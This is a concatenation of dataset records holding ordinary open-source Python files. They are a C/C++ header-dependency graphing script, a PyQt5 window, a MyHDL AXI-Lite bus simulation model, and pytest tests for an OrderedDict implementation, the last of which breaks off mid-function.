config\n\t\t\t\t\tif(\"/\"+match in fileCheck): # lets look for the match once..\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tretDict.pop(match) # found file, so error no longer valid\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tif(match == \"stdint.h\"):\n\t\t\t\t\t\t\t\t# print(\"wtf\\n{}\\n{}\".format(retDict,match))\n\t\t\t\t\t\t\t\tsys.exit(0)\n\t\t\t\t\t\tfoundFlag = True\n\t\t\t\t\t\tretDict[fileCheck] = recursiveSearch(fileCheck,safetyCheck)\n\t\t\t\t\t\tbreak # only looking for match once.. for now\n\t\t\t\tif(not foundFlag):\n\t\t\t\t\tif(match == \"ns.h\"):\n\t\t\t\t\t\tsys.exit(0)\n\t\t# M = re.search()\n\treturn retDict\n\n# attack vector for recursion is the source files\n\nloop = 0\nfor sourceFile in sourceFiles:\n\tloop += 1\n\tprint(\"({}/{}) checking sourcefile: {}\".format(loop,len(sourceFiles),sourceFile))\n\toutputStructure[sourceFile] = {} # recursive\n\t# associating sourceFile with a nested number of header files\n\t# header files will have relative pathings... so will need to resolve these relative paths\n\twith open(sourceFile,'r') as file: # read only\n\t\tlines = file.readlines()\n\t\t# do regex pattern search\n\tfor line in lines:\n\t\tM = re.findall(includePattern,line) # not including STL includes ie #include \n\t\tif(M):\n\t\t\tfor match in M: # in case there's multiple includes in one line (C/C++ use whitespace, including \\n's, as separation between tokens)\n\t\t\t\t# print(match[1:-1])\n\t\t\t\trelM = re.findall(relPathPattern,match)\n\t\t\t\tif(relM):\n\t\t\t\t\tmatch = relM[0][:-1]\n\t\t\t\telse:\n\t\t\t\t\tmatch = match[1:-1]\n\t\t\t\tif(len(relM)>1):\n\t\t\t\t\tprint(\"FATAL ERROR\")\n\t\t\t\t\tsys.exit(0)\n\t\t\t\toutputStructure[sourceFile][match] = ERROR_ENUM[\"ERROR: FILE NOT FOUND\"]\n\t\t\t\t# what happens if a pattern matches but the file isn't found?\n\t\t\t\tfoundFlag = False\n\t\t\t\tfor fileCheck in headerFiles:\n\t\t\t\t\t# make sure it's prepended by a directory!\n\t\t\t\t\tif(\"/\"+match in fileCheck):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\toutputStructure[sourceFile].pop(match) # found the file, so this dict element is no longer valid\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tif(match == \"stdio.h\"):\n\t\t\t\t\t\t\t\t# print(\"ERROR\")\n\t\t\t\t\t\t\t\t# print(\"{}\\n{}\\n\".format(outputStructure[sourceFile].keys(),match))\n\t\t\t\t\t\t\t\tsys.exit(0)\n\t\t\t\t\t\toutputStructure[sourceFile][fileCheck] = recursiveSearch(fileCheck) # returns a dictionary'\n\t\t\t\t\t\t# break # ??? Should there only be one copied version per?\n\t\t\t\t\t\t# break and check first recursion\n\t\t\t\t# if(not foundFlag):\n\t\t\t\t# \tif(match[1:-1])\n\nimport nested_lookup\nimport networkx as nx\nimport matplotlib.pyplot as plt\n# nested_lookup might not be it chief\n\n# alter keys:\ndef keyCallback(key):\n\tif(\"/home/matt/Desktop/Work/UHD/\" in key):\n\t\treturn key[28:]\n\telse:\n\t\treturn key # remove the /home/matt/Desktop/Work/UHD/ --> look for uhd/\n\ndef recursiveCallback(dictIn):\n\tdictOut = {}\n\n\tfor key in dictIn:\n\t\tif(type(dictIn[key]) == dict):\n\t\t\tdictOut[keyCallback(key)] = recursiveCallback(dictIn[key])\n\t\telse:\n\t\t\t# change the key to uhd/ relative path\n\t\t\tdictOut[keyCallback(key)] = dictIn[key]\n\n\treturn dictOut\n\n# def recursiveCallback():\n# \treturn retDict;\n\n# set(nested_lookup.get_all_keys(outputStructure)) --> only gets unique set of keys\n\n# unique keys > number of files in our list\ndef uniquify(allFiles,setIn):\n\tout = setIn.copy()\n\tfor x in allFiles:\n\t\tif x in uniqueKeys:\n\t\t\tout.remove(x)\n\treturn out\n\ndef recursiveFilterNodes(dictIn):\n\tdictOut = {}\n\tqueryList = list(dictIn.items())\n\tfor pair in queryList:\n\t\tif(type(pair[1]) != dict):\n\t\t\tdictOut[pair[0]] = {} # make the -1, -2 value key pairs become a key : {} pair\n\t\telse: # this is \n\t\t\tdictOut[pair[0]] = recursiveFilterNodes(dictIn[pair[0]]) # this inputs the key : DICT value for key pair[0]\n\treturn dictOut\n\nelectricBoogalu = recursiveCallback(outputStructure)\n# every key is filtered for uniqueness ( a set )\nuniqueKeys = list(set(nested_lookup.get_all_keys(electricBoogalu)))\n\n# Just want to be stuck with the list of unique header keys\n# will also include header files that arent found\nsF = []\nfor x in sourceFiles:\n\tsF.append(x[28:])\nqueryKeys = uniquify(sF,uniqueKeys)\n# --> want to get the total number of header nodes to look at \n\n# get_occurrences_and_values returns a data type like:\n# {\"occurrences\":# of times,\"values\":{}} --> everything inside is values\n\n# terminal node, just like {} nodes (empty nodes)\nnotFound = nested_lookup.get_occurrences_and_values([electricBoogalu],value=ERROR_ENUM[\"ERROR: FILE NOT FOUND\"])\n\n# recursive includes will have an edge going back up!... eh\n# for now recursive includes will just be removed from the set --> need to remove everything that has the value recursive inclusion\nrecursiveInclude = nested_lookup.get_occurrences_and_values([electricBoogalu],value=ERROR_ENUM[\"ERROR: RECURSIVE INCLUSION\"])\n\n# everything ends with {} now\nfilteredStructure = recursiveFilterNodes(electricBoogalu)\n\n# i think at some point I want to switch terminating from {} to None or 0..\n\t# otherwise, nested_lookup.get_occurrences_and_values won't be useful!\n\n# same layered NODES -- unconnected\n# calling layer NODE -- connected to each nested node below\n\ndef NXFormat(parentNode,childNodes):\n\treturn [(parentNode,x) for x in childNodes]\n\ndef recursiveNX(dictIn,nxGraph):\n\t# return a list of nodes\n\tchildNodes = []\n\tfor key in dictIn:\n\t\tchildNodes.append(key) # every key is a node in this layer\n\t\tif(dictIn[key]): # more children node layers\n\t\t\t# connect all of the children nodes to this node that owns them\n\t\t\tnxGraph.add_edges_from(\n\t\t\t\tNXFormat(\n\t\t\t\t\tparentNode = key,\n\t\t\t\t\tchildNodes = recursiveNX( # Recursion --------------\n\t\t\t\t\t\tdictIn = dictIn[key],\n\t\t\t\t\t\tnxGraph = nxGraph\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\telse: # empty dictionary --> terminating node\n\t\t\tpass # already appended this node, don't need to worry about children nodes\n\treturn childNodes # returns the list of this layer's nodes\n\nnxList = []\n\nfor entryVec in sF: # every source file\n\tG = nx.Graph()\n\t# dont need to add nodes, can just add edges as a list of tuples:\n\t\t# each tuple simply connects 2 nodes\n\tG.add_edges_from(\n\t\tNXFormat(\n\t\t\tparentNode = entryVec,\n\t\t\tchildNodes = recursiveNX(\n\t\t\t\tdictIn = filteredStructure[entryVec],\n\t\t\t\tnxGraph = G\n\t\t\t\t) # recursiveNX returns a list of child nodes\n\t\t\t) # returns a list of tuple pairs (parent node, childNode[n])\n\t\t) # connects everything to the main source/parent node\n\tnxList.append(G)\n\nfor graph in nxList:\n\tnx.draw(graph)\n\tplt.draw()\n\tplt.show()\n\tbreak # there will be hundreds of these, will add a way to store png's but for now just break after 1\n\n# nodes --> dots\n# edges --> connections\n\n# when recursive returns, draw edge from calling node to list of returning nodes\n# entry vector of 760 nodes (source files)\n# simplest case:\n","repo_name":"MattBJ/CppSymbolDependencyTool","sub_path":"fileMapper.py","file_name":"fileMapper.py","file_ext":"py","file_size_in_byte":9125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26095639625","text":"# -*- coding: latin-1 -*-\nimport sys\nimport pandas as pd\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QPushButton, QFileDialog, QMainWindow, QVBoxLayout, QMessageBox\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QGraphicsDropShadowEffect\nfrom PyQt5.QtCore import QPropertyAnimation,QEasingCurve\nfrom PyQt5.QtGui import QColor\nfrom PyQt5.uic import loadUi\nfrom PyQt5.QtCore import pyqtSlot\n\nclass rooti(QMainWindow):\n def __init__(self):\n super(rooti,self).__init__()\n loadUi('D:/ESPE/Practicas INEN/InterfazINEN/interfazinen.ui',self)\n #oculatar boton normal\n self.bt_normal.hide()\n #eliminar la ventana del main\n self.setWindowFlag(QtCore.Qt.FramelessWindowHint)\n self.setWindowOpacity(1)\n #SizeGrip\n self.gripSize=10\n self.grip=QtWidgets.QSizeGrip(self)\n self.grip.resize(self.gripSize,self.gripSize)\n #botones barra de titulo\n self.bt_maximizar.clicked.connect(self.maximizar)\n self.bt_normal.clicked.connect(self.normal)\n self.bt_minimizar.clicked.connect(self.minimizar)\n self.bt_cerrar.clicked.connect(lambda: self.close())\n #======================FUNCIONES=========\n def minimizar(self):\n self.showMinimized()\n def normal(self):\n self.showNormal()\n self.bt_normal.hide()\n self.bt_maximizar.show()\n def maximizar(self): \n self.showMaximized()\n self.bt_normal.show()\n self.bt_maximizar.hide()\n def mousePressEvent(self,event):\n self.click_position=event.globalPos()\n \n \n\n \nif __name__==\"__main__\":\n app=QApplication(sys.argv)\n mi_app=rooti()\n mi_app.show()\n sys.exit(app.exec_())","repo_name":"dario-1/interfazINENg","sub_path":"InterfazINEN.py","file_name":"InterfazINEN.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5457069070","text":"from myhdl import *\nimport mmap\n\nPROT_PRIVILEGED = 0b001\nPROT_NONSECURE = 0b010\nPROT_INSTRUCTION = 0b100\n\nRESP_OKAY = 0b00\nRESP_EXOKAY = 0b01\nRESP_SLVERR = 0b10\nRESP_DECERR = 0b11\n\nclass AXILiteMaster(object):\n def __init__(self):\n self.write_command_queue = []\n self.write_command_sync = Signal(False)\n self.write_resp_queue = []\n self.write_resp_sync = Signal(False)\n\n self.read_command_queue = []\n self.read_command_sync = Signal(False)\n self.read_data_queue = []\n self.read_data_sync = Signal(False)\n\n self.int_write_addr_queue = []\n self.int_write_addr_sync = Signal(False)\n self.int_write_data_queue = []\n self.int_write_data_sync = Signal(False)\n self.int_write_resp_command_queue = []\n self.int_write_resp_command_sync = Signal(False)\n self.int_write_resp_queue = []\n self.int_write_resp_sync = Signal(False)\n\n self.int_read_addr_queue = []\n self.int_read_addr_sync = Signal(False)\n self.int_read_resp_command_queue = []\n self.int_read_resp_command_sync = Signal(False)\n self.int_read_resp_queue = []\n self.int_read_resp_sync = Signal(False)\n\n self.in_flight_operations = 0\n\n self.has_logic = False\n self.clk = None\n\n def init_read(self, address, length, prot=0b010):\n self.read_command_queue.append((address, length, prot))\n self.read_command_sync.next = not self.read_command_sync\n\n def init_write(self, address, data, prot=0b010):\n self.write_command_queue.append((address, data, prot))\n self.write_command_sync.next = not self.write_command_sync\n\n def idle(self):\n return not self.write_command_queue and not self.read_command_queue and not self.in_flight_operations\n\n def wait(self):\n while not self.idle():\n yield self.clk.posedge\n\n def read_data_ready(self):\n return bool(self.read_data_queue)\n\n def get_read_data(self):\n if self.read_data_queue:\n return self.read_data_queue.pop(0)\n return None\n\n def create_logic(self,\n clk,\n rst,\n m_axil_awaddr=None,\n m_axil_awprot=Signal(intbv(0)[3:]),\n m_axil_awvalid=Signal(bool(False)),\n m_axil_awready=Signal(bool(True)),\n m_axil_wdata=None,\n m_axil_wstrb=Signal(intbv(1)[1:]),\n m_axil_wvalid=Signal(bool(False)),\n m_axil_wready=Signal(bool(True)),\n m_axil_bresp=Signal(intbv(0)[2:]),\n m_axil_bvalid=Signal(bool(False)),\n m_axil_bready=Signal(bool(False)),\n m_axil_araddr=None,\n m_axil_arprot=Signal(intbv(0)[3:]),\n m_axil_arvalid=Signal(bool(False)),\n m_axil_arready=Signal(bool(True)),\n m_axil_rdata=None,\n m_axil_rresp=Signal(intbv(0)[2:]),\n m_axil_rvalid=Signal(bool(False)),\n m_axil_rready=Signal(bool(False)),\n pause=False,\n awpause=False,\n wpause=False,\n bpause=False,\n arpause=False,\n rpause=False,\n name=None\n ):\n \n if self.has_logic:\n raise Exception(\"Logic already instantiated!\")\n\n if m_axil_wdata is not None:\n assert m_axil_awaddr is not None\n assert len(m_axil_wdata) % 8 == 0\n assert len(m_axil_wdata) / 8 == len(m_axil_wstrb)\n w = len(m_axil_wdata)\n\n if m_axil_rdata is not None:\n assert m_axil_araddr is not None\n assert len(m_axil_rdata) % 8 == 0\n w = len(m_axil_rdata)\n\n if m_axil_wdata is not None:\n assert len(m_axil_wdata) == len(m_axil_rdata)\n assert len(m_axil_awaddr) == len(m_axil_araddr)\n\n bw = int(w/8)\n\n assert bw in (1, 2, 4, 8, 16, 32, 64, 128)\n\n self.has_logic = True\n self.clk = clk\n\n m_axil_bvalid_int = Signal(bool(False))\n m_axil_bready_int = Signal(bool(False))\n m_axil_rvalid_int = Signal(bool(False))\n m_axil_rready_int = Signal(bool(False))\n\n @always_comb\n def pause_logic():\n m_axil_bvalid_int.next = m_axil_bvalid and not (pause or bpause)\n m_axil_bready.next = m_axil_bready_int and not (pause or bpause)\n m_axil_rvalid_int.next = m_axil_rvalid and not (pause or rpause)\n m_axil_rready.next = m_axil_rready_int and not (pause or rpause)\n\n @instance\n def write_logic():\n while True:\n if not self.write_command_queue:\n yield self.write_command_sync\n\n addr, data, prot = self.write_command_queue.pop(0)\n self.in_flight_operations += 1\n\n word_addr = int(addr/bw)*bw\n\n start_offset = addr % bw\n end_offset = ((addr + len(data) - 1) % bw) + 1\n\n strb_start = ((2**bw-1) << start_offset) & (2**bw-1)\n strb_end = (2**bw-1) >> (bw - end_offset)\n\n cycles = int((len(data) + bw-1 + (addr % bw)) / bw)\n\n self.int_write_resp_command_queue.append((addr, len(data), cycles, prot))\n self.int_write_resp_command_sync.next = not self.int_write_resp_command_sync\n\n offset = 0\n\n if name is not None:\n print(\"[%s] Write data addr: 0x%08x prot: 0x%x data: %s\" % (name, addr, prot, \" \".join((\"{:02x}\".format(c) for c in bytearray(data)))))\n\n for k in range(cycles):\n start = 0\n stop = bw\n strb = 2**bw-1\n\n if k == 0:\n start = start_offset\n strb &= strb_start\n if k == cycles-1:\n stop = end_offset\n strb &= strb_end\n\n val = 0\n for j in range(start, stop):\n val |= bytearray(data)[offset] << j*8\n offset += 1\n\n self.int_write_addr_queue.append((word_addr + start + k*bw, prot))\n self.int_write_addr_sync.next = not self.int_write_addr_sync\n self.int_write_data_queue.append((val, strb))\n self.int_write_data_sync.next = not self.int_write_data_sync\n\n @instance\n def write_resp_logic():\n while True:\n if not self.int_write_resp_command_queue:\n yield self.int_write_resp_command_sync\n\n addr, length, cycles, prot = self.int_write_resp_command_queue.pop(0)\n\n resp = 0\n\n for k in range(cycles):\n while not self.int_write_resp_queue:\n yield clk.posedge\n\n cycle_resp = self.int_write_resp_queue.pop(0)\n\n if cycle_resp != 0:\n resp = cycle_resp\n\n self.write_resp_queue.append((addr, length, prot, resp))\n self.write_resp_sync.next = not self.write_resp_sync\n self.in_flight_operations -= 1\n\n @instance\n def write_addr_interface_logic():\n while True:\n while not self.int_write_addr_queue:\n yield clk.posedge\n\n m_axil_awaddr.next, m_axil_awprot.next = self.int_write_addr_queue.pop(0)\n m_axil_awvalid.next = not (pause or awpause)\n\n yield clk.posedge\n\n while not m_axil_awvalid or not m_axil_awready:\n m_axil_awvalid.next = m_axil_awvalid or not (pause or awpause)\n yield clk.posedge\n\n m_axil_awvalid.next = False\n\n @instance\n def write_data_interface_logic():\n while True:\n while not self.int_write_data_queue:\n yield clk.posedge\n\n m_axil_wdata.next, m_axil_wstrb.next = self.int_write_data_queue.pop(0)\n m_axil_wvalid.next = not (pause or wpause)\n\n yield clk.posedge\n\n while not m_axil_wvalid or not m_axil_wready:\n m_axil_wvalid.next = m_axil_wvalid or not (pause or wpause)\n yield clk.posedge\n\n m_axil_wvalid.next = False\n\n @instance\n def write_resp_interface_logic():\n while True:\n m_axil_bready_int.next = True\n\n yield clk.posedge\n\n if m_axil_bready and m_axil_bvalid_int:\n self.int_write_resp_queue.append(int(m_axil_bresp))\n self.int_write_resp_sync.next = not self.int_write_resp_sync\n\n @instance\n def read_logic():\n while True:\n if not self.read_command_queue:\n yield self.read_command_sync\n\n addr, length, prot = self.read_command_queue.pop(0)\n self.in_flight_operations += 1\n\n word_addr = int(addr/bw)*bw\n\n start_offset = addr % bw\n\n cycles = int((length + bw-1 + (addr % bw)) / bw)\n\n self.int_read_resp_command_queue.append((addr, length, cycles, prot))\n self.int_read_resp_command_sync.next = not self.int_read_resp_command_sync\n\n # first cycle\n self.int_read_addr_queue.append((word_addr+start_offset, prot))\n self.int_read_addr_sync.next = not self.int_read_addr_sync\n\n for k in range(1, cycles):\n # middle and last cycles\n self.int_read_addr_queue.append((word_addr + k*bw, prot))\n self.int_read_addr_sync.next = not self.int_read_addr_sync\n\n @instance\n def read_resp_logic():\n while True:\n if not self.int_read_resp_command_queue:\n yield self.int_read_resp_command_sync\n\n addr, length, cycles, prot = self.int_read_resp_command_queue.pop(0)\n\n word_addr = int(addr/bw)*bw\n\n start_offset = addr % bw\n end_offset = ((addr + length - 1) % bw) + 1\n\n data = b''\n\n resp = 0\n\n for k in range(cycles):\n while not self.int_read_resp_queue:\n yield clk.posedge\n\n cycle_data, cycle_resp = self.int_read_resp_queue.pop(0)\n\n if cycle_resp != 0:\n resp = cycle_resp\n\n start = 0\n stop = bw\n\n if k == 0:\n start = start_offset\n if k == cycles-1:\n stop = end_offset\n\n for j in range(start, stop):\n data += bytearray([(cycle_data >> j*8) & 0xff])\n\n if name is not None:\n print(\"[%s] Read data addr: 0x%08x prot: 0x%x data: %s\" % (name, addr, prot, \" \".join((\"{:02x}\".format(c) for c in bytearray(data)))))\n\n self.read_data_queue.append((addr, data, prot, resp))\n self.read_data_sync.next = not self.read_data_sync\n self.in_flight_operations -= 1\n\n @instance\n def read_addr_interface_logic():\n while True:\n while not self.int_read_addr_queue:\n yield clk.posedge\n\n m_axil_araddr.next, m_axil_arprot.next = self.int_read_addr_queue.pop(0)\n m_axil_arvalid.next = not (pause or arpause)\n\n yield clk.posedge\n\n while not m_axil_arvalid or not m_axil_arready:\n m_axil_arvalid.next = m_axil_arvalid or not (pause or arpause)\n yield clk.posedge\n\n m_axil_arvalid.next = False\n\n @instance\n def read_resp_interface_logic():\n while True:\n m_axil_rready_int.next = True\n\n yield clk.posedge\n\n if m_axil_rready and m_axil_rvalid_int:\n self.int_read_resp_queue.append((int(m_axil_rdata), int(m_axil_rresp)))\n self.int_read_resp_sync.next = not self.int_read_resp_sync\n\n return instances()\n\n\nclass AXILiteRam(object):\n def __init__(self, size = 1024):\n self.size = size\n self.mem = mmap.mmap(-1, size)\n\n def read_mem(self, address, length):\n self.mem.seek(address)\n return self.mem.read(length)\n\n def write_mem(self, address, data):\n self.mem.seek(address)\n self.mem.write(bytes(data))\n\n def create_port(self,\n clk,\n s_axil_awaddr=None,\n s_axil_awprot=Signal(intbv(0)[3:]),\n s_axil_awvalid=Signal(bool(False)),\n s_axil_awready=Signal(bool(True)),\n s_axil_wdata=None,\n s_axil_wstrb=Signal(intbv(1)[1:]),\n s_axil_wvalid=Signal(bool(False)),\n s_axil_wready=Signal(bool(True)),\n s_axil_bresp=Signal(intbv(0)[2:]),\n s_axil_bvalid=Signal(bool(False)),\n s_axil_bready=Signal(bool(False)),\n s_axil_araddr=None,\n s_axil_arprot=Signal(intbv(0)[3:]),\n s_axil_arvalid=Signal(bool(False)),\n s_axil_arready=Signal(bool(True)),\n s_axil_rdata=None,\n s_axil_rresp=Signal(intbv(0)[2:]),\n s_axil_rvalid=Signal(bool(False)),\n s_axil_rready=Signal(bool(False)),\n pause=False,\n awpause=False,\n wpause=False,\n bpause=False,\n arpause=False,\n rpause=False,\n latency=1,\n name=None\n ):\n\n if s_axil_wdata is not None:\n assert s_axil_awaddr is not None\n assert len(s_axil_wdata) % 8 == 0\n assert len(s_axil_wdata) / 8 == len(s_axil_wstrb)\n w = len(s_axil_wdata)\n\n if s_axil_rdata is not None:\n assert s_axil_araddr is not None\n assert len(s_axil_rdata) % 8 == 0\n w = len(s_axil_rdata)\n\n if s_axil_wdata is not None:\n assert len(s_axil_wdata) == len(s_axil_rdata)\n assert len(s_axil_awaddr) == len(s_axil_araddr)\n\n bw = int(w/8)\n\n assert bw in (1, 2, 4, 8, 16, 32, 64, 128)\n\n s_axil_awvalid_int = Signal(bool(False))\n s_axil_awready_int = Signal(bool(False))\n s_axil_wvalid_int = Signal(bool(False))\n s_axil_wready_int = Signal(bool(False))\n s_axil_arvalid_int = Signal(bool(False))\n s_axil_arready_int = Signal(bool(False))\n\n @always_comb\n def pause_logic():\n s_axil_awvalid_int.next = s_axil_awvalid and not (pause or awpause)\n s_axil_awready.next = s_axil_awready_int and not (pause or awpause)\n s_axil_wvalid_int.next = s_axil_wvalid and not (pause or wpause)\n s_axil_wready.next = s_axil_wready_int and not (pause or wpause)\n s_axil_arvalid_int.next = s_axil_arvalid and not (pause or arpause)\n s_axil_arready.next = s_axil_arready_int and not (pause or arpause)\n\n @instance\n def write_logic():\n while True:\n s_axil_awready_int.next = True\n\n yield clk.posedge\n\n if s_axil_awready and s_axil_awvalid_int:\n s_axil_awready_int.next = False\n\n addr = int(int(s_axil_awaddr)/bw)*bw\n prot = int(s_axil_awprot)\n\n for i in range(latency):\n yield clk.posedge\n\n self.mem.seek(addr % self.size)\n\n s_axil_wready_int.next = True\n\n yield clk.posedge\n\n while not s_axil_wvalid_int:\n yield clk.posedge\n\n s_axil_wready_int.next = False\n\n data = bytearray()\n val = int(s_axil_wdata)\n for i in range(bw):\n data.extend(bytearray([val & 0xff]))\n val >>= 8\n for i in range(bw):\n if s_axil_wstrb & (1 << i):\n self.mem.write(bytes(data[i:i+1]))\n else:\n self.mem.seek(1, 1)\n s_axil_bresp.next = 0b00\n s_axil_bvalid.next = not (pause or bpause)\n if name is not None:\n print(\"[%s] Write word addr: 0x%08x prot: 0x%x wstrb: 0x%02x data: %s\" % (name, addr, prot, s_axil_wstrb, \" \".join((\"{:02x}\".format(c) for c in bytearray(data)))))\n\n yield clk.posedge\n\n while not s_axil_bvalid or not s_axil_bready:\n s_axil_bvalid.next = s_axil_bvalid or not (pause or bpause)\n yield clk.posedge\n\n s_axil_bvalid.next = False\n\n @instance\n def read_logic():\n while True:\n s_axil_arready_int.next = True\n\n yield clk.posedge\n\n if s_axil_arready and s_axil_arvalid_int:\n s_axil_arready_int.next = False\n\n addr = int(int(s_axil_araddr)/bw)*bw\n prot = int(s_axil_arprot)\n\n for i in range(latency):\n yield clk.posedge\n\n self.mem.seek(addr % self.size)\n\n data = bytearray(self.mem.read(bw))\n val = 0\n for i in range(bw-1,-1,-1):\n val <<= 8\n val += data[i]\n s_axil_rdata.next = val\n s_axil_rresp.next = 0b00\n s_axil_rvalid.next = not (pause or rpause)\n if name is not None:\n print(\"[%s] Read word addr: 0x%08x prot: 0x%x data: %s\" % (name, addr, prot, \" \".join((\"{:02x}\".format(c) for c in bytearray(data)))))\n\n yield clk.posedge\n\n while not s_axil_rvalid or not s_axil_rready:\n s_axil_rvalid.next = s_axil_rvalid or not (pause or rpause)\n yield clk.posedge\n\n s_axil_rvalid.next = False\n\n return instances()\n\n","repo_name":"corundum/corundum","sub_path":"fpga/lib/axi/tb/axil.py","file_name":"axil.py","file_ext":"py","file_size_in_byte":18606,"program_lang":"python","lang":"en","doc_type":"code","stars":1336,"dataset":"github-code","pt":"3"} +{"seq_id":"20152359004","text":"\r\nfrom src.Lab1.immutable import *\r\nfrom hypothesis import given\r\nimport hypothesis.strategies as st\r\nimport pytest\r\nimport collections\r\n\r\ndef test_get_value():\r\n od = OrderedDict()\r\n assert get_value(od, 5) == 5\r\n assert get_value(od, 24) == 4\r\n\r\ndef test_add():\r\n od = OrderedDict()\r\n od = add(od, 2, 1)\r\n assert find(od, 2) == 1\r\n assert to_dict(od) == {2: 1}\r\n od = add(od, 4, 2)\r\n assert find(od, 4) ==2\r\n od = add(od, \"A\", 3)\r\n assert find(od, \"A\") == 3\r\n od = add(od, True, 4)\r\n assert find(od, True) == 4\r\n od = add(od, False, 5)\r\n assert find(od, False) == 5\r\n od = add(od, 3.14, 6)\r\n assert find(od, 3.14) == 6\r\n\r\ndef test_remove():\r\n od = OrderedDict()\r\n dict1 = {1: 2, 2: 4, 3: 6}\r\n od = from_dict(od, dict1)\r\n remove(od, 1)\r\n with pytest.raises(Exception): # Exception detection\r\n remove(od, 5)\r\n dict2 = {2: 4, 3: 6}\r\n assert to_dict(od) == dict2\r\n\r\ndef test_remove_key_set():\r\n od = OrderedDict()\r\n assert od.key_set == []\r\n od = from_dict(od, {1: 2, 2: 4, 3: 6})\r\n assert od.key_set == [1, 2, 3]\r\n od = remove_key_set(od, 1)\r\n assert od.key_set == [2, 3]\r\n\r\ndef test_from_dict():\r\n od = OrderedDict()\r\n dict = {1: 2, 2: 4, 3: 6, 4: 8}\r\n from_dict(od, dict)\r\n assert find(od, 4) == 8\r\n assert find(od, 3) == 6\r\n\r\ndef test_to_dict():\r\n od = OrderedDict()\r\n od = add(od, 1, 2)\r\n od = add(od, 2, 4)\r\n od = add(od, 3, 6)\r\n od = add(od, 4, 8)\r\n to_dict(od)\r\n assert to_dict(od) == {1: 2, 2: 4, 3: 6, 4: 8}\r\n\r\ndef test_get_size():\r\n od = OrderedDict()\r\n assert get_size(od) == 0\r\n od = add(od, 1, 2)\r\n assert get_size(od) == 1\r\n od = add(od, 14, 2)\r\n assert get_size(od) == 2\r\n\r\ndef test_from_list():\r\n test_data = [\r\n [],\r\n ['a', 'b', 'c'],\r\n ['0', '11', '111'],\r\n [1, 2, 3],\r\n [None]\r\n ]\r\n for e in test_data:\r\n od = OrderedDict()\r\n od = from_list(od, e)\r\n assert to_list(od) == e\r\n\r\ndef test_to_list():\r\n od = OrderedDict()\r\n dict = {1: 2, 2: 4, 3: 6, 4: 8}\r\n od = from_dict(od, dict)\r\n assert to_list(od) == [2, 4, 6, 8]\r\n\r\ndef test_find_iseven():\r\n od = OrderedDict()\r\n od = from_list(od, ['a', 1, 2, 3.14, 'b', 4, 5, 'c', 6.0, 7, 8])\r\n assert to_list(od) == ['a', 1, 2, 3.14, 'b', 4, 5, 'c', 6.0, 7, 8]\r\n assert find_iseven(od) == [2, 4, 6.0, 8]\r\n\r\ndef test_filter_iseven():\r\n od = OrderedDict()\r\n od = from_list(od, ['a', 1, 2, 3.14, 'b', 4, 5, 'c', 6.0, 7, 8])\r\n assert to_list(od) == ['a', 1, 2, 3.14, 'b', 4, 5, 'c', 6.0, 7, 8]\r\n assert filter_iseven(od) == ['a', 1, 3.14, 'b', 5, 'c', 7]\r\n\r\ndef test_map():\r\n dict1 = {1: 2, 2: 4}\r\n dict2 = {1: '2', 2: '4'}\r\n od = OrderedDict()\r\n od = from_dict(od, dict1)\r\n assert map(od, str) == dict2\r\n\r\ndef test_reduce():\r\n od = OrderedDict()\r\n assert reduce(od, lambda st, e: st + e, 0) == 0\r\n dict1 = {1: 2, 2: 4}\r\n od1 = OrderedDict()\r\n od1 = from_dict(od1, dict1)\r\n assert reduce(od1, lambda st, e: st + e, 0) == 6\r\n\r\ndef test_od_collision():\r\n od = OrderedDict()\r\n od = add(od, 1, 7)\r\n od = add(od, 11, 777)\r\n assert get_value(od, 1) == get_value(od, 11) # check input two keys have the same od\r\n assert find(od, 1) == 7 # check that data inside your structure store well\r\n assert find(od, 11) == 777\r\n\r\ndef test_iter():\r\n dict1 = {1: 2, 2: 4, 3: 6, 4: 8}\r\n od = OrderedDict()\r\n od = from_dict(od, dict1)\r\n tmp = {}\r\n for e in od:\r\n tmp[e.key] = e.value\r\n assert to_dict(od) == tmp\r\n i = iter(OrderedDict())\r\n pytest.raises(StopIteration, lambda: next(i))\r\n\r\n# e·a = a·e = acollision\r\n@given(a=st.lists(st.integers()))\r\ndef test_monoid_identity(a):\r\n od = OrderedDict()\r\n od_a = OrderedDict()\r\n od_a = from_list(od_a, a)\r\n assert mconcat(mempty(od), od_a) == od_a\r\n assert mconcat(od_a, mempty(od)) == od_a\r\n\r\n# (a·b)·c = a·(b·c)\r\n@given(a=st.lists(st.integers()), b=st.lists(st.integers()), c=st.lists(st.integers()))\r\ndef test_monoid_associativity(a, b, c):\r\n od_a = OrderedDict()\r\n od_b = OrderedDict()\r\n od_c = OrderedDict()\r\n od_a = from_list(od_a, a)\r\n od_b = from_list(od_b, b)\r\n od_c = from_list(od_c, c)\r\n # (a·b)·c\r\n a_b = mconcat(od_a, od_b)\r\n ab_c = mconcat(a_b, od_c)\r\n\r\n od_a1 = OrderedDict()\r\n od_b1 = OrderedDict()\r\n od_c1 = OrderedDict()\r\n od_a1 = from_list(od_a1, a)\r\n od_b1 = from_list(od_b1, b)\r\n od_c1 = from_list(od_c1, c)\r\n # a·(b·c)\r\n b_c = mconcat(od_b1, od_c1)\r\n a_bc = mconcat(od_a1, b_c)\r\n\r\n assert id(ab_c) != id(a_bc) # address is not same\r\n assert to_list(ab_c) == to_list(a_bc) # value is same\r\n\r\n@given(st.lists(st.integers()))\r\ndef test_from_list_to_list_equality(a):\r\n od = OrderedDict()\r\n od = from_list(od, a)\r\n b = to_list(od)\r\n assert a == b\r\n\r\n@given(st.lists(st.integers()))\r\ndef test_python_len_and_list_size_equality(a):\r\n od = OrderedDict()\r\n od = from_list(od, a)\r\n assert get_size(od) == len(a)\r\n\r\n@given(st.lists(st.integers()))\r\ndef test_from_list(a):\r\n od = OrderedDict()\r\n od = from_list(od, a)\r\n assert to_list(od) == a\r\n\r\ndef test_iter():\r\n x = [1, 2, 3]\r\n od = OrderedDict()\r\n od = from_list(od, x)\r\n tmp = []\r\n 